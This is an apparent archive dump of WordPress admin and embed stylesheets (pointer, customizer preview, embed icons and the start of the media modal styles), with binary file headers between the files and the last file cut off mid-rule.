.dashicons-post-trash:before {
	content: "\f182";
}

.dashicons-share1:before {
	content: "\f237";
}

.dashicons-welcome-edit-page:before {
	content: "\f119";
}
PK1Xd[�;H˺�wp-pointer.cssnu�[���.wp-pointer-content {
	padding: 0 0 10px;
	position: relative;
	font-size: 13px;
	background: #fff;
	border: 1px solid #c3c4c7;
	box-shadow: 0 3px 6px rgba(0, 0, 0, 0.08);
}

.wp-pointer-content h3 {
	position: relative;
	margin: -1px -1px 5px;
	padding: 15px 18px 14px 60px;
	border: 1px solid #2271b1;
	border-bottom: none;
	line-height: 1.4;
	font-size: 14px;
	color: #fff;
	background: #2271b1;
}

.wp-pointer-content h3:before {
	background: #fff;
	border-radius: 50%;
	color: #2271b1;
	content: "\f227";
	font: normal 20px/1.6 dashicons;
	position: absolute;
	top: 8px;
	left: 15px;
	speak: never;
	text-align: center;
	width: 32px;
	height: 32px;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.wp-pointer-content h4 {
	margin: 1.33em 20px 1em;
	font-size: 1.15em;
}

.wp-pointer-content p {
	padding: 0 20px;
}

.wp-pointer-buttons {
	margin: 0;
	padding: 5px 15px;
	overflow: auto;
}

.wp-pointer-buttons a {
	float: right;
	display: inline-block;
	text-decoration: none;
}

.wp-pointer-buttons a.close {
	padding-left: 3px;
	position: relative;
}

.wp-pointer-buttons a.close:before {
	background: none;
	color: #787c82;
	content: "\f153";
	display: block !important;
	font: normal 16px/1 dashicons;
	speak: never;
	margin: 1px 0;
	text-align: center;
	-webkit-font-smoothing: antialiased !important;
	width: 10px;
	height: 100%;
	position: absolute;
	left: -15px;
	top: 1px;
}

.wp-pointer-buttons a.close:hover:before {
	color: #d63638;
}

/* The arrow base class must take up no space, even with transparent borders. */
.wp-pointer-arrow,
.wp-pointer-arrow-inner {
	position: absolute;
	width: 0;
	height: 0;
}

.wp-pointer-arrow {
	z-index: 10;
	width: 0;
	height: 0;
	border: 0 solid transparent;
}

.wp-pointer-arrow-inner {
	z-index: 20;
}

/* Make Room for the Arrow! */
.wp-pointer-top,
.wp-pointer-undefined {
	padding-top: 13px;
}

.wp-pointer-bottom {
	margin-top: -13px;
	padding-bottom: 13px;
}

/* rtl:ignore */
.wp-pointer-left {
	padding-left: 13px;
}
/* rtl:ignore */
.wp-pointer-right {
	margin-left: -13px;
	padding-right: 13px;
}

/* Base Size & Positioning */
.wp-pointer-top .wp-pointer-arrow,
.wp-pointer-bottom .wp-pointer-arrow,
.wp-pointer-undefined .wp-pointer-arrow {
	left: 50px;
}

.wp-pointer-left .wp-pointer-arrow,
.wp-pointer-right .wp-pointer-arrow {
	top: 50%;
	margin-top: -15px;
}

/* Arrow Sprite */
.wp-pointer-top .wp-pointer-arrow,
.wp-pointer-undefined .wp-pointer-arrow {
	top: 0;
	border-width: 0 13px 13px;
	border-bottom-color: #2271b1;
}

.wp-pointer-top .wp-pointer-arrow-inner,
.wp-pointer-undefined .wp-pointer-arrow-inner {
	top: 1px;
	margin-left: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-bottom-color: #2271b1;
	display: block;
	content: " ";
}

.wp-pointer-bottom .wp-pointer-arrow {
	bottom: 0;
	border-width: 13px 13px 0;
	border-top-color: #c3c4c7;
}

.wp-pointer-bottom .wp-pointer-arrow-inner {
	bottom: 1px;
	margin-left: -13px;
	margin-bottom: -13px;
	border: 13px solid transparent;
	border-top-color: #fff;
	display: block;
	content: " ";
}

/* rtl:ignore */
.wp-pointer-left .wp-pointer-arrow {
	left: 0;
	border-width: 13px 13px 13px 0;
	border-right-color: #c3c4c7;
}

/* rtl:ignore */
.wp-pointer-left .wp-pointer-arrow-inner {
	left: 1px;
	margin-left: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-right-color: #fff;
	display: block;
	content: " ";
}

/* rtl:ignore */
.wp-pointer-right .wp-pointer-arrow {
	right: 0;
	border-width: 13px 0 13px 13px;
	border-left-color: #c3c4c7;
}

/* rtl:ignore */
.wp-pointer-right .wp-pointer-arrow-inner {
	right: 1px;
	margin-right: -13px;
	margin-top: -13px;
	border: 13px solid transparent;
	border-left-color: #fff;
	display: block;
	content: " ";
}

.wp-pointer.arrow-bottom .wp-pointer-content {
	margin-bottom: -45px;
}

.wp-pointer.arrow-bottom .wp-pointer-arrow {
	top: 100%;
	margin-top: -30px;
}

/* Disable pointers at responsive sizes */
@media screen and (max-width: 782px) {
	.wp-pointer {
		display: none;
	}
}
PK1Xd[��--customize-preview.cssnu�[���.customize-partial-refreshing {
	opacity: 0.25;
	transition: opacity 0.25s;
	cursor: progress;
}

/* Override highlight when refreshing */
.customize-partial-refreshing.widget-customizer-highlighted-widget {
	box-shadow: none;
}

/* Make shortcut buttons essentially invisible */
.widget .customize-partial-edit-shortcut,
.customize-partial-edit-shortcut {
	position: absolute;
	float: left;
	width: 1px; /* required to have a size to be focusable in Safari */
	height: 1px;
	padding: 0;
	margin: -1px 0 0 -1px;
	border: 0;
	background: transparent;
	color: transparent;
	box-shadow: none;
	outline: none;
	z-index: 5;
}

/**
 * Styles for the actual shortcut
 *
 * Note that some properties are overly verbose to prevent theme interference.
 */
.widget .customize-partial-edit-shortcut button,
.customize-partial-edit-shortcut button {
	position: absolute;
	left: -30px;
	top: 2px;
	color: #fff;
	width: 30px;
	height: 30px;
	min-width: 30px;
	min-height: 30px;
	line-height: 1 !important;
	font-size: 18px;
	z-index: 5;
	background: #3582c4 !important;
	border-radius: 50%;
	border: 2px solid #fff;
	box-shadow: 0 2px 1px rgba(60, 67, 74, 0.15);
	text-align: center;
	cursor: pointer;
	box-sizing: border-box;
	padding: 3px;
	animation-fill-mode: both;
	animation-duration: .4s;
	opacity: 0;
	pointer-events: none;
	text-shadow:
		0 -1px 1px #135e96,
		1px 0 1px #135e96,
		0 1px 1px #135e96,
		-1px 0 1px #135e96;
}
.wp-custom-header .customize-partial-edit-shortcut button {
	left: 2px
}

.customize-partial-edit-shortcut button svg {
	fill: #fff;
	min-width: 20px;
	min-height: 20px;
	width: 20px;
	height: 20px;
	margin: auto;
}

.customize-partial-edit-shortcut button:hover {
	background: #4f94d4 !important; /* matches primary buttons */
}

.customize-partial-edit-shortcut button:focus {
	box-shadow: 0 0 0 2px #4f94d4;
}

body.customize-partial-edit-shortcuts-shown .customize-partial-edit-shortcut button {
	animation-name: customize-partial-edit-shortcut-bounce-appear;
	pointer-events: auto;
}
body.customize-partial-edit-shortcuts-hidden .customize-partial-edit-shortcut button {
	animation-name: customize-partial-edit-shortcut-bounce-disappear;
	pointer-events: none;
}

.page-sidebar-collapsed .customize-partial-edit-shortcut button,
.customize-partial-edit-shortcut-hidden .customize-partial-edit-shortcut button {
	visibility: hidden;
}

@keyframes customize-partial-edit-shortcut-bounce-appear {
	from, 20%, 40%, 60%, 80%, to {
		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
	}
	0% {
		opacity: 0;
		transform: scale3d(.3, .3, .3);
	}
	20% {
		transform: scale3d(1.1, 1.1, 1.1);
	}
	40% {
		transform: scale3d(.9, .9, .9);
	}
	60% {
		opacity: 1;
		transform: scale3d(1.03, 1.03, 1.03);
	}
	80% {
		transform: scale3d(.97, .97, .97);
	}
	to {
		opacity: 1;
		transform: scale3d(1, 1, 1);
	}
}

@keyframes customize-partial-edit-shortcut-bounce-disappear {
	from, 20%, 40%, 60%, 80%, to {
		animation-timing-function: cubic-bezier(0.215, 0.610, 0.355, 1.000);
	}
	0% {
		opacity: 1;
		transform: scale3d(1, 1, 1);
	}
	20% {
		transform: scale3d(.97, .97, .97);
	}
	40% {
		opacity: 1;
		transform: scale3d(1.03, 1.03, 1.03);
	}
	60% {
		transform: scale3d(.9, .9, .9);
	}
	80% {
		transform: scale3d(1.1, 1.1, 1.1);
	}
	to {
		opacity: 0;
		transform: scale3d(.3, .3, .3);
	}
}

@media screen and (max-width: 800px) {
	.widget .customize-partial-edit-shortcut button,
	.customize-partial-edit-shortcut button {
		left: -32px;
	}
}

@media screen and (max-width: 320px) {
	.widget .customize-partial-edit-shortcut button,
	.customize-partial-edit-shortcut button {
		left: -30px;
	}
}
PK1Xd[!h�P��wp-embed-template-ie.min.cssnu�[���/*! This file is auto-generated */
.dashicons-no{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAQAAAAngNWGAAAAcElEQVR4AdXRVxmEMBAGwJMQCUhAIhKQECmRsFJwMFfp7HfP/E8pk0173CuKpt/0R+WaBaaZqogLagBMuh+DdoKbyRCwqZ/SnM0R5oQuZ2UHS8Z6k23qPxZCTrV5UlHMi8bsfHVXP7K/GXZHaTO7S54CWLdHlN2YIwAAAABJRU5ErkJggg==)}.dashicons-admin-comments{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAATUlEQVR4AWMYWqCpvUcAiA8A8X9iMFStAD4DG0AKScQNVDZw1MBRAwvIMLCA5jmFlCD4AMQGlOTtBgoNwzQQ3TCKDaTcMMxYN2AYVgAAYPKsEBxN0PIAAAAASUVORK5CYII=)}.wp-embed-comments a:hover .dashicons-admin-comments{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAATElEQVR4AWMYYqB4lQAQHwDi/8RgqFoBfAY2gBSSiBuobOCogaMGFpBhYAEdcwrhIPgAxAaU5O0GCg3DNBDdMIoNpNwwzFg3YBhWAABG71qAFYcFqgAAAABJRU5ErkJggg==)}.dashicons-share{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAc0lEQVR4AWMYfqCpvccAiBcA8X8gfgDEBZQaeAFkGBoOoMR1/7HgDeQa2ECZgQiDHID4AMwAor0MCmBoQP+HBnwAskFQdgBRkQJViGk7wiAHUr21AYdhDTA1dDOQHl6mPFLokmwoT9j0z3qUFw70L77oDwAiuzCIub1XpQAAAABJRU5ErkJggg==)}.wp-embed-share-dialog-open:hover .dashicons-share{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAAc0lEQVR4AWMYhqB4lQEQLwDi/0D8AIgLKDXwAsgwNBxAiev+Y8EbyDWwgTIDEQY5APEBmAFEexkUwNCA/g8N+ABkg6DsAKIiBaoQ03aEQQ6kemsDDsMaYEroZiA9vEx5pNAl2VCesOmf9SgvHOhffNEfAAAMqPR5IEZH5wAAAABJRU5ErkJggg==)}PK1Xd[��`�`�media-views-rtl.cssnu�[���/*! This file is auto-generated */
/**
 * Base Styles
 */
.media-modal * {
	box-sizing: content-box;
}

.media-modal input,
.media-modal select,
.media-modal textarea {
	box-sizing: border-box;
}

.media-modal,
.media-frame {
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 12px;
	-webkit-overflow-scrolling: touch;
}

.media-modal legend {
	padding: 0;
	font-size: 13px;
}

.media-modal label {
	font-size: 13px;
}

.media-modal .legend-inline {
	position: absolute;
	transform: translate(100%, 50%);
	margin-right: -1%;
	line-height: 1.2;
}

.media-frame a {
	border-bottom: none;
	color: #2271b1;
}

.media-frame a:hover,
.media-frame a:active {
	color: #135e96;
}

.media-frame a:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-frame a.button {
	color: #2c3338;
}

.media-frame a.button:hover {
	color: #1d2327;
}

.media-frame a.button-primary,
.media-frame a.button-primary:hover {
	color: #fff;
}

.media-frame input,
.media-frame textarea {
	padding: 6px 8px;
}

.media-frame select,
.wp-admin .media-frame select {
	min-height: 30px;
	vertical-align: middle;
}

.media-frame input[type="text"],
.media-frame input[type="password"],
.media-frame input[type="color"],
.media-frame input[type="date"],
.media-frame input[type="datetime"],
.media-frame input[type="datetime-local"],
.media-frame input[type="email"],
.media-frame input[type="month"],
.media-frame input[type="number"],
.media-frame input[type="search"],
.media-frame input[type="tel"],
.media-frame input[type="time"],
.media-frame input[type="url"],
.media-frame input[type="week"],
.media-frame textarea,
.media-frame select {
	box-shadow: 0 0 0 transparent;
	border-radius: 4px;
	border: 1px solid #8c8f94;
	background-color: #fff;
	color: #2c3338;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 13px;
	line-height: 1.38461538;
}

.media-frame input[type="text"],
.media-frame input[type="password"],
.media-frame input[type="date"],
.media-frame input[type="datetime"],
.media-frame input[type="datetime-local"],
.media-frame input[type="email"],
.media-frame input[type="month"],
.media-frame input[type="number"],
.media-frame input[type="search"],
.media-frame input[type="tel"],
.media-frame input[type="time"],
.media-frame input[type="url"],
.media-frame input[type="week"] {
	padding: 0 8px;
	/* inherits font size 13px */
	line-height: 2.15384615; /* 28px */
}

/* Search field in the Media Library toolbar */
.media-frame.mode-grid .wp-filter input[type="search"] {
	font-size: 14px;
	line-height: 2;
}

.media-frame input[type="text"]:focus,
.media-frame input[type="password"]:focus,
.media-frame input[type="number"]:focus,
.media-frame input[type="search"]:focus,
.media-frame input[type="email"]:focus,
.media-frame input[type="url"]:focus,
.media-frame textarea:focus,
.media-frame select:focus {
	border-color: #3582c4;
	box-shadow: 0 0 0 1px #3582c4;
	outline: 2px solid transparent;
}

.media-frame input:disabled,
.media-frame textarea:disabled,
.media-frame input[readonly],
.media-frame textarea[readonly] {
	background-color: #f0f0f1;
}

.media-frame input[type="search"] {
	-webkit-appearance: textfield;
}

.media-frame ::-webkit-input-placeholder {
	color: #646970;
}

.media-frame ::-moz-placeholder {
	color: #646970;
	opacity: 1;
}

.media-frame :-ms-input-placeholder {
	color: #646970;
}

/*
 * In some cases there's the need of higher specificity,
 * for example higher than `.media-embed .setting`.
 */
.media-frame .hidden,
.media-frame .setting.hidden {
	display: none;
}

/*!
 * jQuery UI Draggable/Sortable 1.11.4
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
.ui-draggable-handle,
.ui-sortable-handle {
	touch-action: none;
}

/**
 * Modal
 */
.media-modal {
	position: fixed;
	top: 30px;
	right: 30px;
	left: 30px;
	bottom: 30px;
	z-index: 160000;
}

.wp-customizer .media-modal {
	z-index: 560000;
}

.media-modal-backdrop {
	position: fixed;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	min-height: 360px;
	background: #000;
	opacity: 0.7;
	z-index: 159900;
}

.wp-customizer .media-modal-backdrop {
	z-index: 559900;
}

.media-modal-close {
	position: absolute;
	top: 0;
	left: 0;
	width: 50px;
	height: 50px;
	margin: 0;
	padding: 0;
	border: 1px solid transparent;
	background: none;
	color: #646970;
	z-index: 1000;
	cursor: pointer;
	outline: none;
	transition: color .1s ease-in-out, background .1s ease-in-out;
}

.media-modal-close:hover,
.media-modal-close:active {
	color: #135e96;
}

.media-modal-close:focus {
	color: #135e96;
	border-color: #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-modal-close span.media-modal-icon {
	background-image: none;
}

.media-modal-close .media-modal-icon:before {
	content: "\f158";
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.media-modal-content {
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	overflow: auto;
	min-height: 300px;
	box-shadow: 0 5px 15px rgba(0, 0, 0, 0.7);
	background: #fff;
	-webkit-font-smoothing: subpixel-antialiased;
}

.media-modal-content .media-frame select.attachment-filters {
	margin-top: 32px;
	margin-left: 2%;
	width: 42%;
	width: calc(48% - 12px);
}

/* higher specificity */
.wp-core-ui .media-modal-icon {
	background-image: url(../images/uploader-icons.png);
	background-repeat: no-repeat;
}

/**
 * Toolbar
 */
.media-toolbar {
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	z-index: 100;
	height: 60px;
	padding: 0 16px;
	border: 0 solid #dcdcde;
	overflow: hidden;
}

.media-frame-toolbar .media-toolbar {
	top: auto;
	bottom: -47px;
	height: auto;
	overflow: visible;
	border-top: 1px solid #dcdcde;
}

.media-toolbar-primary {
	float: left;
	height: 100%;
	position: relative;
}

.media-toolbar-secondary {
	float: right;
	height: 100%;
}

.media-toolbar-primary > .media-button,
.media-toolbar-primary > .media-button-group {
	margin-right: 10px;
	float: right;
	margin-top: 15px;
}

.media-toolbar-secondary > .media-button,
.media-toolbar-secondary > .media-button-group {
	margin-left: 10px;
	margin-top: 15px;
}

/**
 * Sidebar
 */
.media-sidebar {
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	width: 267px;
	padding: 0 16px;
	z-index: 75;
	background: #f6f7f7;
	border-right: 1px solid #dcdcde;
	overflow: auto;
	-webkit-overflow-scrolling: touch;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.media-sidebar::after {
	content: "";
	display: flex;
	clear: both;
	height: 24px;
}

.hide-toolbar .media-sidebar {
	bottom: 0;
}

.media-sidebar h2,
.image-details .media-embed h2 {
	position: relative;
	font-weight: 600;
	text-transform: uppercase;
	font-size: 12px;
	color: #646970;
	margin: 24px 0 8px;
}

.media-sidebar .setting,
.attachment-details .setting {
	display: block;
	float: right;
	width: 100%;
	margin: 0 0 10px;
}

.attachment-details h2 {
	display: grid;
	grid-template-columns: auto 5em;
}

.media-sidebar .collection-settings .setting {
	margin: 1px 0;
}

.media-sidebar .setting.has-description,
.attachment-details .setting.has-description {
	margin-bottom: 5px;
}

.media-sidebar .setting .link-to-custom {
	margin: 3px 2px 0;
}

.media-sidebar .setting span, /* Back-compat for pre-5.3 */
.attachment-details .setting span, /* Back-compat for pre-5.3 */
.media-sidebar .setting .name,
.media-sidebar .setting .value,
.attachment-details .setting .name {
	min-width: 30%;
	margin-left: 4%;
	font-size: 12px;
	text-align: left;
	word-wrap: break-word;
}

.media-sidebar .setting .name {
	max-width: 80px;
}

.media-sidebar .setting .value {
	text-align: right;
}

.media-sidebar .setting select {
	max-width: 65%;
}

.media-sidebar .setting input[type="checkbox"],
.media-sidebar .field input[type="checkbox"],
.media-sidebar .setting input[type="radio"],
.media-sidebar .field input[type="radio"],
.attachment-details .setting input[type="checkbox"],
.attachment-details .field input[type="checkbox"],
.attachment-details .setting input[type="radio"],
.attachment-details .field input[type="radio"] {
	float: none;
	margin: 8px 3px 0;
	padding: 0;
}

.media-sidebar .setting span, /* Back-compat for pre-5.3 */
.attachment-details .setting span, /* Back-compat for pre-5.3 */
.media-sidebar .setting .name,
.media-sidebar .setting .value,
.media-sidebar .checkbox-label-inline,
.attachment-details .setting .name,
.attachment-details .setting .value,
.compat-item label span {
	float: right;
	min-height: 22px;
	padding-top: 8px;
	line-height: 1.33333333;
	font-weight: 400;
	color: #646970;
}

.media-sidebar .checkbox-label-inline {
	font-size: 12px;
}

.media-sidebar .copy-to-clipboard-container,
.attachment-details .copy-to-clipboard-container {
	flex-wrap: wrap;
	margin-top: 10px;
	margin-right: calc( 35% - 1px );
	padding-top: 10px;
}

/* Needs high specificity. */
.attachment-details .attachment-info .copy-to-clipboard-container {
	float: none;
}

.media-sidebar .copy-to-clipboard-container .success,
.attachment-details .copy-to-clipboard-container .success {
	padding: 0;
	min-height: 0;
	line-height: 2.18181818;
	text-align: right;
	color: #007017;
}

.compat-item label span {
	text-align: left;
}

.media-sidebar .setting input[type="text"],
.media-sidebar .setting input[type="password"],
.media-sidebar .setting input[type="email"],
.media-sidebar .setting input[type="number"],
.media-sidebar .setting input[type="search"],
.media-sidebar .setting input[type="tel"],
.media-sidebar .setting input[type="url"],
.media-sidebar .setting textarea,
.media-sidebar .setting .value,
.attachment-details .setting input[type="text"],
.attachment-details .setting input[type="password"],
.attachment-details .setting input[type="email"],
.attachment-details .setting input[type="number"],
.attachment-details .setting input[type="search"],
.attachment-details .setting input[type="tel"],
.attachment-details .setting input[type="url"],
.attachment-details .setting textarea,
.attachment-details .setting .value,
.attachment-details .setting + .description {
	box-sizing: border-box;
	margin: 1px;
	width: 65%;
	float: left;
}

.media-sidebar .setting .value,
.attachment-details .setting .value,
.attachment-details .setting + .description {
	margin: 0 1px;
	text-align: right;
}

.attachment-details .setting + .description {
	clear: both;
	font-size: 12px;
	font-style: normal;
	margin-bottom: 10px;
}

.media-sidebar .setting textarea,
.attachment-details .setting textarea,
.compat-item .field textarea {
	height: 62px;
	resize: vertical;
}

.media-sidebar .alt-text textarea,
.attachment-details .alt-text textarea,
.compat-item .alt-text textarea,
.alt-text textarea {
	height: 50px;
}

.compat-item {
	float: right;
	width: 100%;
	overflow: hidden;
}

.compat-item table {
	width: 100%;
	table-layout: fixed;
	border-spacing: 0;
	border: 0;
}

.compat-item tr {
	padding: 2px 0;
	display: block;
	overflow: hidden;
}

.compat-item .label,
.compat-item .field {
	display: block;
	margin: 0;
	padding: 0;
}

.compat-item .label {
	min-width: 30%;
	margin-left: 4%;
	float: right;
	text-align: left;
}

.compat-item .label span {
	display: block;
	width: 100%;
}

.compat-item .field {
	float: left;
	width: 65%;
	margin: 1px;
}

.compat-item .field input[type="text"],
.compat-item .field input[type="password"],
.compat-item .field input[type="email"],
.compat-item .field input[type="number"],
.compat-item .field input[type="search"],
.compat-item .field input[type="tel"],
.compat-item .field input[type="url"],
.compat-item .field textarea {
	width: 100%;
	margin: 0;
	box-sizing: border-box;
}

.sidebar-for-errors .attachment-details,
.sidebar-for-errors .compat-item,
.sidebar-for-errors .media-sidebar .media-progress-bar,
.sidebar-for-errors .upload-details {
	display: none !important;
}

/**
 * Menu
 */
.media-menu {
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	margin: 0;
	padding: 50px 0 10px;
	background: #f6f7f7;
	border-left-width: 1px;
	border-left-style: solid;
	border-left-color: #c3c4c7;
	-webkit-user-select: none;
	user-select: none;
}

.media-menu .media-menu-item {
	display: block;
	box-sizing: border-box;
	width: 100%;
	position: relative;
	border: 0;
	margin: 0;
	padding: 8px 20px;
	font-size: 14px;
	line-height: 1.28571428;
	background: transparent;
	color: #2271b1;
	text-align: right;
	text-decoration: none;
	cursor: pointer;
}

.media-menu .media-menu-item:hover {
	background: rgba(0, 0, 0, 0.04);
}

.media-menu .media-menu-item:active {
	color: #2271b1;
	outline: none;
}

.media-menu .active,
.media-menu .active:hover {
	color: #1d2327;
	font-weight: 600;
}

.media-menu .media-menu-item:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-menu .separator {
	height: 0;
	margin: 12px 20px;
	padding: 0;
	border-top: 1px solid #dcdcde;
}

/**
 * Menu
 */
.media-router {
	position: relative;
	padding: 0 6px;
	margin: 0;
	clear: both;
}

.media-router .media-menu-item {
	position: relative;
	float: right;
	border: 0;
	margin: 0;
	padding: 8px 10px 9px;
	height: 18px;
	line-height: 1.28571428;
	font-size: 14px;
	text-decoration: none;
	background: transparent;
	cursor: pointer;
	transition: none;
}

.media-router .media-menu-item:last-child {
	border-left: 0;
}

.media-router .media-menu-item:hover,
.media-router .media-menu-item:active {
	color: #2271b1;
}

.media-router .active,
.media-router .active:hover {
	color: #1d2327;
}

.media-router .media-menu-item:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	z-index: 1;
}

.media-router .active,
.media-router .media-menu-item.active:last-child {
	margin: -1px -1px 0;
	background: #fff;
	border: 1px solid #dcdcde;
	border-bottom: none;
}

.media-router .active:after {
	display: none;
}

/**
 * Frame
 */
.media-frame {
	overflow: hidden;
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
}

.media-frame-menu {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	width: 200px;
	z-index: 150;
}

.media-frame-title {
	position: absolute;
	top: 0;
	right: 200px;
	left: 0;
	height: 50px;
	z-index: 200;
}

.media-frame-router {
	position: absolute;
	top: 50px;
	right: 200px;
	left: 0;
	height: 36px;
	z-index: 200;
}

.media-frame-content {
	position: absolute;
	top: 84px;
	right: 200px;
	left: 0;
	bottom: 61px;
	height: auto;
	width: auto;
	margin: 0;
	overflow: auto;
	background: #fff;
	border-top: 1px solid #dcdcde;
}

.media-frame-toolbar {
	position: absolute;
	right: 200px;
	left: 0;
	z-index: 100;
	bottom: 60px;
	height: auto;
}

.media-frame.hide-menu .media-frame-title,
.media-frame.hide-menu .media-frame-router,
.media-frame.hide-menu .media-frame-toolbar,
.media-frame.hide-menu .media-frame-content {
	right: 0;
}

.media-frame.hide-toolbar .media-frame-content {
	bottom: 0;
}

.media-frame.hide-router .media-frame-content {
	top: 50px;
}

.media-frame.hide-menu .media-frame-menu,
.media-frame.hide-menu .media-frame-menu-heading,
.media-frame.hide-router .media-frame-router,
.media-frame.hide-toolbar .media-frame-toolbar {
	display: none;
}

.media-frame-title h1 {
	padding: 0 16px;
	font-size: 22px;
	line-height: 2.27272727;
	margin: 0;
}

.media-frame-menu-heading,
.media-attachments-filter-heading {
	position: absolute;
	right: 20px;
	top: 22px;
	margin: 0;
	font-size: 13px;
	line-height: 1;
	/* Above the media-frame-menu. */
	z-index: 151;
}

.media-attachments-filter-heading {
	top: 10px;
	right: 16px;
}

.mode-grid .media-attachments-filter-heading {
	top: 0;
	right: -9999px;
}

.mode-grid .media-frame-actions-heading {
	display: none;
}

.wp-core-ui .button.media-frame-menu-toggle {
	display: none;
}

.media-frame-title .suggested-dimensions {
	font-size: 14px;
	float: left;
	margin-left: 20px;
}

.media-frame-content .crop-content {
	height: 100%;
}

.options-general-php .crop-content.site-icon,
.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon {
	margin-left: 300px;
}

.media-frame-content .crop-content .crop-image {
	display: block;
	margin: auto;
	max-width: 100%;
	max-height: 100%;
}

.media-frame-content .crop-content .upload-errors {
	position: absolute;
	width: 300px;
	top: 50%;
	right: 50%;
	margin-right: -150px;
	margin-left: -150px;
	z-index: 600000;
}

/**
 * Iframes
 */
.media-frame .media-iframe {
	overflow: hidden;
}

.media-frame .media-iframe,
.media-frame .media-iframe iframe {
	height: 100%;
	width: 100%;
	border: 0;
}

/**
 * Attachment Browser Filters
 */
.media-frame select.attachment-filters {
	margin-top: 11px;
	margin-left: 2%;
	max-width: 42%;
	max-width: calc(48% - 12px);
}

.media-frame select.attachment-filters:last-of-type {
	margin-left: 0;
}

/**
 * Search
 */
.media-frame .search {
	margin: 32px 0 0;
	padding: 4px;
	font-size: 13px;
	color: #3c434a;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	-webkit-appearance: none;
}

.media-toolbar-primary .search {
	max-width: 100%;
}

.media-modal .media-frame .media-search-input-label {
	position: absolute;
	right: 0;
	top: 10px;
	margin: 0;
	line-height: 1;
}

/**
 * Attachments
 */
.wp-core-ui .attachments {
	margin: 0;
	-webkit-overflow-scrolling: touch;
}

/**
 * Attachment
 */
.wp-core-ui .attachment {
	position: relative;
	float: right;
	padding: 8px;
	margin: 0;
	color: #3c434a;
	cursor: pointer;
	list-style: none;
	text-align: center;
	-webkit-user-select: none;
	user-select: none;
	width: 25%;
	box-sizing: border-box;
}

.wp-core-ui .attachment:focus,
.wp-core-ui .selected.attachment:focus,
.wp-core-ui .attachment.details:focus {
	box-shadow:
		inset 0 0 2px 3px #fff,
		inset 0 0 0 7px #4f94d4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -6px;
}

.wp-core-ui .selected.attachment {
	box-shadow:
		inset 0 0 0 5px #fff,
		inset 0 0 0 7px #c3c4c7;
}

.wp-core-ui .attachment.details {
	box-shadow:
		inset 0 0 0 3px #fff,
		inset 0 0 0 7px #2271b1;
}

.wp-core-ui .attachment-preview {
	position: relative;
	box-shadow:
		inset 0 0 15px rgba(0, 0, 0, 0.1),
		inset 0 0 0 1px rgba(0, 0, 0, 0.05);
	background: #f0f0f1;
	cursor: pointer;
}

.wp-core-ui .attachment-preview:before {
	content: "";
	display: block;
	padding-top: 100%;
}

.wp-core-ui .attachment .icon {
	margin: 0 auto;
	overflow: hidden;
}

.wp-core-ui .attachment .thumbnail {
	overflow: hidden;
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	opacity: 1;
	transition: opacity .1s;
}

.wp-core-ui .attachment .portrait img {
	max-width: 100%;
}

.wp-core-ui .attachment .landscape img {
	max-height: 100%;
}

.wp-core-ui .attachment .thumbnail:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1);
	overflow: hidden;
}

.wp-core-ui .attachment .thumbnail img {
	top: 0;
	right: 0;
}

.wp-core-ui .attachment .thumbnail .centered {
	position: absolute;
	top: 0;
	right: 0;
	width: 100%;
	height: 100%;
	transform: translate( -50%, 50% );
}

.wp-core-ui .attachment .thumbnail .centered img {
	transform: translate( 50%, -50% );
}

.wp-core-ui .attachments-browser .attachment .thumbnail .centered img.icon {
	transform: translate( 50%, -70% );
}

.wp-core-ui .attachment .filename {
	position: absolute;
	right: 0;
	left: 0;
	bottom: 0;
	overflow: hidden;
	max-height: 100%;
	word-wrap: break-word;
	text-align: center;
	font-weight: 600;
	background: rgba(255, 255, 255, 0.8);
